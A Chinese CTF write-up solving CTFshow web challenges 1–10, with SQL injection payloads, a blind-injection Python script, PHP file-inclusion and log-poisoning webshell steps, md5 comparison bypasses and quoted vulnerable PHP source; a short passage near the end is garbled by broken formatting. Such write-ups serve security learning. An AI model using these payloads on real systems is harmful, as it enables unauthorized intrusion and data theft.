CTFSHOW WEB(1-10)
web1 签到题
F12,在注释里得到一串字符串,base64解码可得flag
web2 最简单的sql注入
直接sqlmap一把梭
web3
考点是文件包含和PHP伪协议,可以利用php://input协议,在POST正文中写下PHP代码,被包含进去执行:
可以看到flag在ctf_go_go_go这个目录下,接着在cat一下就出flag了
web4
web4和web3类似,但是过滤了一堆php的伪协议,这时候想到可能是包含本地的什么文件,最后知道了是包含日志文件。翻了下其他大师傅的wp,才知道日志文件的目录:
/?url=file:///var/log/nginx/access.log
然后我们随便发一个包,把一句话木马写在包里面
因为文件包含,日志中的一句话木马被当成PHP解析了,直接蚁剑连,发现目录是在/var/www/flag.txt(感觉这个甚至可以扫出来)
web5
web5考察的是PHP md5 和 == 的知识
PHP的松散比较:使用两个等号 == 比较,只比较值,不比较类型。
科学计数法:aeb=a×10的b次方
而我们要让:
纯数字的md5和纯字母的md5相同,只需要让他们md5加密后的形式都为0e开头,因为0×10的什么次方都是0
这里我看的是一篇文章md5加密介绍以及php中md5的漏洞
里面正好有纯字母和纯数字的情况,看完问题就解决了。
web6
一个登录框,猜测是SQL注入,但我折腾了半天才发现是过滤了空格,把空格换成/**/或者别的,就和web2一样了
web7
web7和web6只是一个是POST,一个是GET的区别
payload?id=0/**/union/**/select/**/1,2,flag/**/from/**/web7.flag
web8
和web7类似,简单测试一下,发现过滤了空格,and,union,准备尝试报错注入发现逗号也被过滤了,所以采用布尔盲注的方法。
由于之前的字段名和表名都是flag,所以我就只搞了库名和flag
?id=0/**/or/**/length(database())=4
此时有回显,说明库名长度是4,猜测是web7或者web8
?id=0/**/or/**/substr(database()/**/from/**/1/**/for/**/4)=0x77656238
猜表名时发现引号也被过滤了,改用16进制,发现表名为web8
尝试写了下脚本,写完发现可以优化的地方很多,不过还是可以用的
from urllib import request
#requests库更方便
url='http://ac75ca5c-96cf-4e86-8bc3-968837fdf70e.chall.ctf.show/index.php?id=0'
for i in range (1,46):
for j in range(20,127):
payload='or ascii(substr((select flag from web8.flag)from/**/'+str(i)+'/**/for 1))='+str(j)
URL=(url+'/**/'+payload).replace(' ','/**/')
response = request.urlopen(URL)
string=response.read().decode('UTF-8')
if (len(string))>1000:
print(chr(j),end='')
break
只是比起sqlmap慢多了
web9
web9研究了一下,发现可能不是sql注入,那么思路就开始朝着敏感信息泄露转,果然robots.txt中发现线索
User-agent: *
Disallow: /index.phps
访问这个index.phps,发现是index.php的源码
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
这个密码是md5加密过的,但是后面有个参数值为true,于是又开始查资料(WP)sql注入:md5($password,true)
这篇文章说的很详细了,总之就是要构造md5加密后为’or’+非0数字这样形式的密码,比如ffifdyop,然后flag就出来了
web10
有了第九题的经验,这次就直接看phps有没有东西,果然源码到手
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
这里正则匹配了select,from,where,join,sleep,and,\s(空格)union这些关键词替换为空,又比较strlen(
u
s
e
r
n
a
m
e
)
和
s
t
r
l
e
n
(
r
e
p
l
a
c
e
S
p
e
c
i
a
l
C
h
a
r
(
username)和strlen(replaceSpecialChar(
username)和strlen(replaceSpecialChar(username)的长度,导致不能用双写绕过,于是我缴械查资料web10
不得不说涨姿势了,利用with rollup,让password中有一行为空,满足了判断条件,得到flag